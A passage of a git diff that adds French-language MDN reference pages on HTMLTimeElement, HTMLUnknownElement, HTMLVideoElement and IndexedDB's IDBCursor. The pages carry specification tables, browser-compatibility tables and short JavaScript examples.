+    <code>P</code><code>T</code><em>h</em><code>H</code><em>m</em><code>M</code><em>s</em><code>.</code>XXX<code>S</code><br>
+    <em>w</em><code>w </code><em>d</em><code>d </code><em>h</em><code>h </code><em>m</em><code>m </code><em>s</em><code>s</code></td>
+   <td><code>P12DT7H12M13S<br>
+    P12DT7H12M13.3S<br>
+    P12DT7H12M13.45S<br>
+    P12DT7H12M13.455S<br>
+    PT7H12M13S<br>
+    PT7H12M13.2S<br>
+    PT7H12M13.56S<br>
+    PT7H12M13.999S<br>
+    7d 5h 24m 13s</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>dateTimeString</em> = <em>timeElt</em>.dateTime;
+<em>timeElt.dateTime = </em><em>dateTimeString</em>
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">// Supposons qu'il y ai un élément &lt;time id="t"&gt; dans le HTML
+
+var t = document.getElementById("t");
+t.dateTime = "6w 5h 34m 5s";
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#dom-time-datetime", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "text-level-semantics.html#dom-time-datetime", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Pas de changement depuis {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#dom-time-datetime", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLTimeElement.dateTime")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("HTMLTimeElement")}} dont cette propriété appartient.</li>
+</ul>
diff --git a/files/fr/web/api/htmltimeelement/index.html b/files/fr/web/api/htmltimeelement/index.html
new file mode 100644
index 0000000000..ad8499d1cc
--- /dev/null
+++ b/files/fr/web/api/htmltimeelement/index.html
@@ -0,0 +1,64 @@
+---
+title: HTMLTimeElement
+slug: Web/API/HTMLTimeElement
+translation_of: Web/API/HTMLTimeElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><span class="seoSummary">L'interface <strong><code>HTMLTimeElement</code></strong> fournit des propriétés spéciales (en plus de celles fournies en héritage par l'interface {{domxref("HTMLElement")}}) pour manipuler les éléments {{HTMLElement("time")}}.</span></p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTimeElement.dateTime")}}</dt>
+ <dd>C'est une {{domxref("DOMString")}} qui reflète l'attribut {{htmlattrxref("datetime", "time")}} de l'élément HTML correspondant, dans une forme interprétable par un ordinateur de la date et de l'heure.</dd>
+</dl>
+
+<h2 id="Métodes">Métodes</h2>
+
+<p><em>Pas de méthode spécifique, mais cette interface hérite des méthodes de {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmltimeelement", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "text-level-semantics.html#the-time-element", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Pas de changement depuis {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-time-element", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLTimeElement")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément HTML {{HTMLElement("time")}} implémentant cette interface.</li>
+</ul>
diff --git a/files/fr/web/api/htmlunknownelement/index.html b/files/fr/web/api/htmlunknownelement/index.html
new file mode 100644
index 0000000000..ce08ea4331
--- /dev/null
+++ b/files/fr/web/api/htmlunknownelement/index.html
@@ -0,0 +1,53 @@
+---
+title: HTMLUnknownElement
+slug: Web/API/HTMLUnknownElement
+translation_of: Web/API/HTMLUnknownElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>L’interface <strong><code>HTMLUnknownElement</code></strong> représente un élément HTML invalide et dérive de l’interface {{DOMxRef("HTMLElement")}}, mais sans implémenter aucune propriété ou méthode additionnelle.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Pas de propriété spécifique ; hérite des propriétés de son parent, {{DOMxRef("HTMLElement")}}.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Pas de méthode spécifique ; hérite des méthodes de son parent, {{DOMxRef("HTMLElement")}}.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "elements.html#htmlunknownelement", "HTMLUnknownElement")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Pas de changement depuis {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "dom.html#htmlunknownelement", "HTMLUnknownElement")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.HTMLUnknownElement")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les éléments HTML obsolètes ou non standard implémentant cette interface : {{HTMLElement("bgsound")}}, {{HTMLElement("blink")}}, {{HTMLElement("isindex")}}, {{HTMLElement("multicol")}}, {{HTMLElement("nextid")}}, {{HTMLElement("rb")}}, {{HTMLElement("spacer")}}</li>
+ <li>{{DOMxRef("SVGUnknownElement")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlvideoelement/index.html b/files/fr/web/api/htmlvideoelement/index.html
new file mode 100644
index 0000000000..41f61c0890
--- /dev/null
+++ b/files/fr/web/api/htmlvideoelement/index.html
@@ -0,0 +1,113 @@
+---
+title: HTMLVideoElement
+slug: Web/API/HTMLVideoElement
+tags:
+  - API
+  - HTML DOM
+  - HTMLVideoElement
+  - Interface
+  - Reference
+  - Video
+translation_of: Web/API/HTMLVideoElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>L’interface HTMLVideoElement</code> </strong> fournit des propriétés et des méthodes spéciales pour manipuler des objets vidéo. Il hérite également des propriétés et des méthodes de {{domxref("HTMLMediaElement")}} et de {{domxref("HTMLElement")}}.</p>
+
+<p>La liste des <a href="/fr/docs/Web/Media/Formats">formats multimédias pris en charge</a> varie d’un navigateur à l’autre. Vous pouvez fournir votre vidéo dans un format unique que tous les navigateurs pertinents prennent en charge, ou fournir plusieurs sources vidéo dans des formats suffisamment différents couverts par les différents navigateurs que vous ciblez.</p>
+
+<p>{{InheritanceDiagram(600, 140)}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés de ses interfaces ancêtres : </em><em>{{domxref("HTMLMediaElement")}} et </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.height")}}</dt>
+ <dd>Une chaîne de caractères {{domxref("DOMString")}} qui reflète la valeur de l'attribut HTML {{htmlattrxref("height", "video")}} indiquant la hauteur de la zone d'affichage, en pixels.</dd>
+ <dt>{{domxref("HTMLVideoElement.poster")}}</dt>
+ <dd>Une chaîne de caractères {{domxref("DOMString")}} qui reflète la valeur de l'attribut {{htmlattrxref("poster", "video")}} qui indique une image à afficher tant qu'aucune donnée vidéo n'est disponible.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoHeight")}} {{readonlyInline}}</dt>
+ <dd>Un entier non signé qui indique la hauteur intrinsèque de la ressource, exprimée en pixels CSS, ou 0 tant que le média n'est pas disponible.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoWidth")}} {{readonlyInline}}</dt>
+ <dd>Un entier non signé qui indique la largeur intrinsèque de la ressource, exprimée en pixels CSS, ou 0 tant que le média n'est pas disponible.</dd>
+ <dt>{{domxref("HTMLVideoElement.width")}}</dt>
+ <dd>Une chaîne de caractères {{domxref("DOMString")}} qui reflète la valeur de l'attribut HTML {{htmlattrxref("width", "video")}} indiquant la largeur de la zone d'affichage, en pixels.</dd>
+</dl>
+
+<h3 id="Propriétés_spécifiques_à_Gecko">Propriétés spécifiques à Gecko</h3>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.mozParsedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>Un entier non signé indiquant le nombre de <em>frames</em> qui ont été analysées (<em>parsed</em>) depuis la ressource média.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozDecodedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>Un entier non signé indiquant le nombre de <em>frames</em> qui ont été décodées en images.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPresentedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>Un entier non signé indiquant le nombre de <em>frames</em> décodées qui ont été présentées au canal de rendu pour l'affichage.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPaintedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>Un entier non signé indiquant le nombre de <em>frames</em> présentées et qui ont été affichées à l'écran.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozFrameDelay")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>Un double indiquant le retard, exprimé en secondes, pour l'affichage de la dernière <em>frame</em> affichée.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozHasAudio")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>Un booléen indiquant s'il y a de l'audio associé à cette vidéo.</dd>
+</dl>
+
+<h3 id="Propriétés_spécifiques_à_Microsoft">Propriétés spécifiques à Microsoft</h3>
+
+<dl>
+ <dt>{{DOMxRef("HTMLVideoElement.msFrameStep()")}} {{Non-standard_Inline}}</dt>
+ <dd>Permet d'avancer ou de reculer la vidéo d'une <em>frame</em>.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msHorizontalMirror")}} {{Non-standard_Inline}}</dt>
+ <dd>Permet d'indiquer ou de définir si la vidéo est inversée horizontalement dans l'affichage.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msInsertVideoEffect()")}} {{Non-standard_Inline}}</dt>
+ <dd>Ajoute l'effet vidéo indiqué dans le canal de rendu.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msIsLayoutOptimalForPlayback")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>Indique si la vidéo peut être affichée plus efficacement.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msIsStereo3D")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>Un booléen qui détermine si le système considère que la vidéo chargée est en stéréo 3D. La valeur <code>true</code> indique que la source est en stéro 3D.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msZoom")}} {{Non-standard_Inline}}</dt>
+ <dd>Contrôle si le cadre de la vidéo est réduit pour s'inscrire dans la zone d'affichage de la vidéo (autrement dit : si la vidéo est zoomée/tronquée pour s'inscrire dans la zone correspondante).</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des méthodes de son parent {{domxref("HTMLMediaElement")}} et de son ancêtre {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} {{experimental_inline}}</dt>
+ <dd>Cette méthode renvoie un objet {{domxref("VideoPlaybackQuality")}} contenant les métriques/statistiques sur la lecture actuelle avec des informations comme le nombre d'images sautées ou corrompues ainsi que le nombre total d'images.</dd>
+</dl>
+
+<h2 id="Évènements">Évènements</h2>
+
+<p><font><em>Hérite des méthodes de son parent {{domxref("HTMLMediaElement")}} et de son ancêtre {{domxref("HTMLElement")}}. </em>Pour écouter ces évènements, on utilisera <code><a href="/fr/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> ou on affectera un gestionnaire d'évènement avec la propriété <code>on&lt;NomEvenement&gt;</code> (ex. <code>onclick</code>) de l'interface.</font></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlvideoelement", "HTMLVideoElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.HTMLVideoElement")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément HTML qui implémente cette interface {{HTMLElement("video")}}.</li>
+ <li><a href="/fr/docs/Web/Media/Formats">Les formats médias pris en charge</a></li>
+</ul>
diff --git a/files/fr/web/api/idbcursor/advance/index.html b/files/fr/web/api/idbcursor/advance/index.html
new file mode 100644
index 0000000000..8011394d64
--- /dev/null
+++ b/files/fr/web/api/idbcursor/advance/index.html
@@ -0,0 +1,181 @@
+---
+title: IDBCursor.advance()
+slug: Web/API/IDBCursor/advance
+tags:
+  - API
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBCursor/advance
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>advance()</code></strong> de l'interface {{domxref("IDBCursor")}} définit le nombre d'itérations du curseur avec lequel celui-ci doit se déplacer vers l'avant.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">cursor.advance(count);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>count</code></dt>
+ <dd>Le nombre d'itérations du curseur.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Aucune.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher des exceptions  {{domxref("DOMException")}} :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>Cette transaction IDBCursor est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>La valeur passée au paramètre <code>count</code> vaut zéro ou est négative.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>Le curseur est en itération ou a itéré au-delà de la plage.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans ce petit morceau de code on fait une transaction, récupère un magasin d'objet, puis utilise un curseur pour itérer sur les enregistrements du magasin. Ici, on utilise <code>cursor.advance(2)</code> pour avancer de 2 cases à chaque fois, ce qui signifie que seule la moitié des résultats sera affichée. <code>advance()</code>fonctionne de façon similaire à {{domxref ("IDBCursor.continue")}} mais permet de sauter plusieurs enregistrements à la fois et pas uniquement d'accéder à l'enregistrement suivant.</p>
+
+<p>On notera également que, dans chaque itération de la boucle, on peut  récupérer les données de l'enregistrement en cours grâce à l'objet curseur via <code>curseur.value.foo</code>. Pour un exemple fonctionnel complet, voir <a href="https://github.com/mdn/IDBcursor-example/">notre exemple IDBCursor</a> (<a href="https://mdn.github.io/IDBcursor-example/">l'exemple en <em>live</em></a>).</p>
+
+<pre class="brush: js">function advanceResult() {
+  list.innerHTML = '';
+  var transaction = db.transaction(['granListAlbum'], "readonly");
+  var objectStore = transaction.objectStore('granListAlbum');
+
+  objectStore.openCursor().onsuccess = function(event) {
+    var curseur = event.target.result;
+    if(curseur) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '<strong>' + curseur.value.titreAlbum + '</strong>, ' + curseur.value.annee;
+      list.appendChild(listItem);
+      curseur.advance(2);
+    } else {
+      console.log('moitié des resultats affichée');
+    }
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBCursor-advance-void-unsigned-long-count', 'advance()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbcursor/continue/index.html b/files/fr/web/api/idbcursor/continue/index.html
new file mode 100644
index 0000000000..f93060fbd2
--- /dev/null
+++ b/files/fr/web/api/idbcursor/continue/index.html
@@ -0,0 +1,184 @@
+---
+title: IDBCursor.continue()
+slug: Web/API/IDBCursor/continue
+tags:
+  - API
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBCursor/continue
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>continue()</code></strong> de l'interface {{domxref("IDBCursor")}} fait avancer le curseur jusqu'à la prochaine position qui corrrespond à une clé donnée si celle-ci est passée en paramètre, si aucune clé n'est indiquée, le curseur avancera à la position qui suit immédiatement la position actuelle (dans la direction de progression du curseur).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">curseur.continue(<em>cléOptionnelle</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><em>cléOptionnelle</em></code></dt>
+ <dd>La clé sur laquelle se positionne le curseur.</dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher des exceptions  {{domxref("DOMException")}} de type :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>La transaction de l'IDBCursor est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>
+    <p>Le paramètre <code><em>cléOptionnelle</em></code> peut:</p>
+
+    <ul>
+     <li>Être invalide.</li>
+     <li>Être inférieur ou égal à la position de ce curseur et la direction du curseur <code>next</code> ou <code>nextunique</code>.</li>
+     <li>Être supérieur ou égal à la position de ce curseur et la direction de ce curseur <code>prev</code> ou <code>prevunique</code>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>Le curseur est en itération ou il a itéré au-delà de la plage.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans ce petit morceau de code, on fait une transaction, on récupère un magasin d'objet, puis on utilise un curseur afin d'itérer sur les enregistrements contenus dans le magasin. Il n'est pas nécessaire de sélectionner les données selon une clé, on peut simplement toutes les récupérer. On notera qu'à chaque itération de la boucle, on récupère les données correspondantes à l'enregistrement grâce au curseur sous la forme <code>curseur.value.toto</code>. Pour étudier un exemple de travail complet, voir <a href="https://github.com/mdn/IDBcursor-example/">notre exemple IDBCursor</a> (<a href="https://mdn.github.io/IDBcursor-example/">voir l'exemple live</a>).</p>
+
+<pre class="brush: js">function afficheDonnee() {
+  var transaction = db.transaction(['granListAlbum'], "readonly");
+  var objectStore = transaction.objectStore('granListAlbum');
+
+  objectStore.openCursor().onsuccess = function(event) {
+    var curseur = event.target.result;
+    if(curseur) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = curseur.value.titreAlbum + ', ' + curseur.value.annee;
+      list.appendChild(listItem);
+
+      curseur.continue();
+    } else {
+      console.log('Entrées toutes affichés.');
+    }
+  };
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBCursor-continue-void-any-key', 'continue()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbcursor/index.html b/files/fr/web/api/idbcursor/index.html
new file mode 100644
index 0000000000..f44088a7b1
--- /dev/null
+++ b/files/fr/web/api/idbcursor/index.html
@@ -0,0 +1,221 @@
+---
+title: IDBCursor
+slug: Web/API/IDBCursor
+tags:
+  - API
+  - IndexedDB
+  - Interface
+  - Référence(2)
+translation_of: Web/API/IDBCursor
+---
+<div>{{APIRef("IndexedDB")}}
+<div>
+<p>L'interface <strong><code>IDBCursor</code></strong> de l' <a href="/fr/docs/Web/API/API_IndexedDB">API IndexedDB</a> représente un <a href="/fr/docs/Web/API/API_IndexedDB/Basic_Concepts_Behind_IndexedDB#range">curseur</a> pour traverser ou itérer sur plusieurs enregistrements dans une base de données.</p>
+
+<p>Le curseur possède une source qui indique l'index ou le magasin d'objets sur lequel il itère. Il est décrit par une position dans cet intervalle et par une direction dans laquelle il se déplace : dans l'ordre des clés d'enregistrement suivant le sens donné au curseur (montant ou descendant). Le curseur permet à une application de traiter de façon asynchrone tous les enregistrements de sa plage.</p>
+
+<p>On peut avoir autant de curseurs qu'on souhaite en même temps. Ce sera toujours le même objet <code>IDBCursor</code> qui représentera un curseur donné. Les opérations sont effectuées à l’intérieur de l'index ou du magasin d'objet.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("IDBCursor.advance()")}}</dt>
+ <dd>Définit le nombre d’itérations vers l'avant.</dd>
+ <dt>{{domxref("IDBCursor.continue()")}}</dt>
+ <dd>Avance le curseur sur la position suivante le long de sa direction, jusqu'à l'élément dont la clé correspond au paramètre (optionnel) passé à la fonction.</dd>
+ <dt>{{domxref("IDBCursor.delete()")}}</dt>
+ <dd>Retourne un objet {{domxref ("IDBRequest")}}, et, dans un thread séparé, supprime l'enregistrement à la position du curseur, sans changer la position du curseur. Ceci peut être utilisé pour supprimer des enregistrements spécifiques.</dd>
+ <dt>{{domxref("IDBCursor.update()")}}</dt>
